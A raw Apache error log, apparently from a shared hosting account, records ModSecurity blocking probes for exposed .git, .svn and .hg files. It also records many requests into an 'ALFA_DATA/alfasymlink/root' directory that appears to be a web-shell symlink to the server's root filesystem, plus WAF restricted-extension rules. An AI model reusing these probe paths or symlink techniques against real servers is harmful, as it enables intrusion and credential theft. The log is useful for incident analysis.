[Sun Oct 25 23:25:25.228042 2026] [security2:error] [pid 2949650:tid 2949650] [client 45.138.12.6:48266] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/requires"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "at7IJfLa-Z693QtLWwrF6gAAABQ"]
[Sun Oct 25 23:25:25.228265 2026] [security2:error] [pid 2949650:tid 2949650] [client 45.138.12.6:48266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "at7IJfLa-Z693QtLWwrF6gAAABQ"]
[Sun Oct 25 23:25:25.228537 2026] [security2:error] [pid 2949650:tid 2949650] [client 45.138.12.6:48266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "at7IJfLa-Z693QtLWwrF6gAAABQ"]
[Sun Oct 25 23:25:25.532719 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.6:48280] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/store/requires"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "at7IJQSn5HKIYfqg0eAkeAAAADc"]
[Sun Oct 25 23:25:25.532944 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.6:48280] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "at7IJQSn5HKIYfqg0eAkeAAAADc"]
[Sun Oct 25 23:25:25.533215 2026] [security2:error] [pid 2943087:tid 2943087] [client 45.138.12.6:48280] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "at7IJQSn5HKIYfqg0eAkeAAAADc"]
[Sun Oct 25 23:25:25.819102 2026] [security2:error] [pid 2952056:tid 2952056] [client 45.138.12.6:48284] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/dirstate"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.hg/dirstate"] [unique_id "at7IJZGehNisEVJl_lKlrgAAAAs"]
[Sun Oct 25 23:25:25.819332 2026] [security2:error] [pid 2952056:tid 2952056] [client 45.138.12.6:48284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.hg/dirstate"] [unique_id "at7IJZGehNisEVJl_lKlrgAAAAs"]
[Sun Oct 25 23:25:25.819615 2026] [security2:error] [pid 2952056:tid 2952056] [client 45.138.12.6:48284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.hg/dirstate"] [unique_id "at7IJZGehNisEVJl_lKlrgAAAAs"]
[Sun Oct 25 23:25:26.314318 2026] [security2:error] [pid 2954002:tid 2954002] [client 45.138.12.6:48300] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7IJqPMrE6oCYUul_AOSQAAAAI"], referer: http://hoteles4.sherwinpinturas.com/.git/config
[Sun Oct 25 23:25:26.314639 2026] [security2:error] [pid 2954002:tid 2954002] [client 45.138.12.6:48300] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7IJqPMrE6oCYUul_AOSQAAAAI"], referer: http://hoteles4.sherwinpinturas.com/.git/config
[Sun Oct 25 23:25:26.314955 2026] [security2:error] [pid 2954002:tid 2954002] [client 45.138.12.6:48300] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at7IJqPMrE6oCYUul_AOSQAAAAI"], referer: http://hoteles4.sherwinpinturas.com/.git/config
[Sun Oct 25 23:25:26.811215 2026] [security2:error] [pid 2950487:tid 2950487] [client 45.138.12.6:48308] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7IJhk8rkm1bY7ZQ1iitAAAAAM"], referer: http://hoteles4.sherwinpinturas.com/.svn/wc.db
[Sun Oct 25 23:25:26.811386 2026] [security2:error] [pid 2950487:tid 2950487] [client 45.138.12.6:48308] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7IJhk8rkm1bY7ZQ1iitAAAAAM"], referer: http://hoteles4.sherwinpinturas.com/.svn/wc.db
[Sun Oct 25 23:25:26.811637 2026] [security2:error] [pid 2950487:tid 2950487] [client 45.138.12.6:48308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7IJhk8rkm1bY7ZQ1iitAAAAAM"], referer: http://hoteles4.sherwinpinturas.com/.svn/wc.db
[Sun Oct 25 23:25:26.811894 2026] [security2:error] [pid 2950487:tid 2950487] [client 45.138.12.6:48308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "at7IJhk8rkm1bY7ZQ1iitAAAAAM"], referer: http://hoteles4.sherwinpinturas.com/.svn/wc.db
[Sun Oct 25 23:25:27.296668 2026] [security2:error] [pid 2949650:tid 2949650] [client 45.138.12.6:48314] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at7IJ_La-Z693QtLWwrF6wAAABQ"], referer: http://hoteles4.sherwinpinturas.com/.svn/entries
[Sun Oct 25 23:25:27.297060 2026] [security2:error] [pid 2949650:tid 2949650] [client 45.138.12.6:48314] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at7IJ_La-Z693QtLWwrF6wAAABQ"], referer: http://hoteles4.sherwinpinturas.com/.svn/entries
[Sun Oct 25 23:25:27.297407 2026] [security2:error] [pid 2949650:tid 2949650] [client 45.138.12.6:48314] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at7IJ_La-Z693QtLWwrF6wAAABQ"], referer: http://hoteles4.sherwinpinturas.com/.svn/entries
[Sun Oct 25 23:25:28.849582 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 185.191.171.15:53414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/sudoers
[Sun Oct 25 23:25:30.329502 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 18.232.11.247:7103] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:34.347819 2026] [ssl:error] [pid 2954192:tid 2954192] (70014)End of file found: [client 3.227.180.70:23694] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:42.625565 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 100.28.57.133:50486] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:43.855777 2026] [core:error] [pid 2943061:tid 2943061] (13)Permission denied: [client 216.244.66.250:52854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/ld
[Sun Oct 25 23:25:46.362851 2026] [ssl:error] [pid 2950487:tid 2950487] (5)Input/output error: [client 52.73.142.41:22084] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:49.212045 2026] [security2:error] [pid 2943087:tid 2943087] [client 16.216.88.128:4096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/495_mod_ssl.conf"] [unique_id "at7IPQSn5HKIYfqg0eAkewAAADc"]
[Sun Oct 25 23:25:49.212541 2026] [security2:error] [pid 2943087:tid 2943087] [client 16.216.88.128:4096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/495_mod_ssl.conf"] [unique_id "at7IPQSn5HKIYfqg0eAkewAAADc"]
[Sun Oct 25 23:25:49.212844 2026] [security2:error] [pid 2943087:tid 2943087] [client 16.216.88.128:4096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/495_mod_ssl.conf"] [unique_id "at7IPQSn5HKIYfqg0eAkewAAADc"]
[Sun Oct 25 23:25:50.384269 2026] [ssl:error] [pid 2949650:tid 2949650] (70014)End of file found: [client 23.23.137.202:46737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:54.350607 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 34.233.219.155:49855] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:25:58.334149 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 52.44.148.203:29872] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:26:04.432219 2026] [authz_core:error] [pid 2934778:tid 2934778] [client 34.181.157.150:61280] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 23:26:04.777234 2026] [proxy_fcgi:error] [pid 2934778:tid 2934778] [client 34.181.157.150:61280] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 23:26:04.940890 2026] [authz_core:error] [pid 2934778:tid 2934778] [client 34.181.157.150:61280] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 23:26:06.370678 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 52.3.104.214:13796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:26:10.653614 2026] [core:error] [pid 2943061:tid 2943061] (13)Permission denied: [client 98.82.38.120:51276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/new_id
[Sun Oct 25 23:26:14.458571 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 44.212.106.171:56603] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/unbind
[Sun Oct 25 23:26:18.545885 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 34.230.124.21:43706] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:26:19.160167 2026] [security2:error] [pid 2949650:tid 2949650] [client 216.244.66.250:60066] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/source-map/lib/"] [unique_id "at7IW_La-Z693QtLWwrF7wAAABQ"]
[Sun Oct 25 23:26:19.160217 2026] [security2:error] [pid 2949650:tid 2949650] [client 216.244.66.250:60066] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/source-map/lib/"] [unique_id "at7IW_La-Z693QtLWwrF7wAAABQ"]
[Sun Oct 25 23:26:27.219087 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 54.91.122.193:57614] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:26:28.990099 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 185.191.171.13:41264] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-512/objects
[Sun Oct 25 23:26:34.383608 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 52.73.6.26:41393] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:26:38.587126 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 3.212.86.97:13057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:26:40.581453 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 85.208.96.195:59276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_alias/min_partial
[Sun Oct 25 23:26:42.455306 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 44.194.139.149:13559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:26:55.333935 2026] [ssl:error] [pid 2949645:tid 2949645] (70014)End of file found: [client 3.93.253.174:38936] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:26:55.752396 2026] [ssl:error] [pid 2954190:tid 2954190] (70014)End of file found: [client 185.191.171.11:26508] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:27:06.684213 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.223.134.5:37870] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:27:07.363153 2026] [core:error] [pid 2954191:tid 2954191] (13)Permission denied: [client 185.191.171.10:45936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/alloc_calls
[Sun Oct 25 23:27:17.413165 2026] [security2:error] [pid 2954190:tid 2954190] [client 43.165.174.53:34682] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/imagenesone.php"] [unique_id "at7IlfoKyTuj-yC3xtKGAQAAAAE"]
[Sun Oct 25 23:27:18.542050 2026] [core:error] [pid 2954192:tid 2954192] (13)Permission denied: [client 52.203.68.145:24681] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/subsystem/drivers/hpet/bind
[Sun Oct 25 23:27:20.002521 2026] [core:error] [pid 2950825:tid 2950825] (13)Permission denied: [client 85.208.96.194:49966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-256/validate
[Sun Oct 25 23:27:22.193846 2026] [security2:error] [pid 2954191:tid 2954191] [client 185.191.171.6:52028] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/intel/iwlwifi/iwlwifi-ty-a0-gf-a0-66.ucode"] [unique_id "at7ImbgkTn8hpWp1OlnBzwAAAAk"]
[Sun Oct 25 23:27:22.193912 2026] [security2:error] [pid 2954191:tid 2954191] [client 185.191.171.6:52028] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/firmware/intel/iwlwifi/iwlwifi-ty-a0-gf-a0-66.ucode"] [unique_id "at7ImbgkTn8hpWp1OlnBzwAAAAk"]
[Sun Oct 25 23:27:22.528553 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.0.41.164:38820] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:27:26.683674 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 18.214.124.6:11736] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:27:34.583300 2026] [ssl:error] [pid 2954192:tid 2954192] (70014)End of file found: [client 44.209.89.189:64333] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:27:34.647781 2026] [core:error] [pid 2949646:tid 2949646] (13)Permission denied: [client 85.208.96.204:34734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_inode/total_objects
[Sun Oct 25 23:27:38.423735 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 23.21.179.27:22475] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:27:41.742375 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 185.191.171.6:15934] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:27:46.394832 2026] [ssl:error] [pid 2942316:tid 2942316] (5)Input/output error: [client 18.232.36.1:42930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:27:50.447498 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 52.2.4.213:56038] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:27:54.423012 2026] [ssl:error] [pid 2954192:tid 2954192] (70014)End of file found: [client 18.205.91.101:35019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:27:58.549739 2026] [ssl:error] [pid 2949646:tid 2949646] (70014)End of file found: [client 34.194.165.45:60868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 23:28:02.416117 2026] [ssl:error] [pid 2950825:tid 2950825] (70014)End of file found: [client 52.205.222.214:30803] AH02013: coalesce failed to read from data bucket
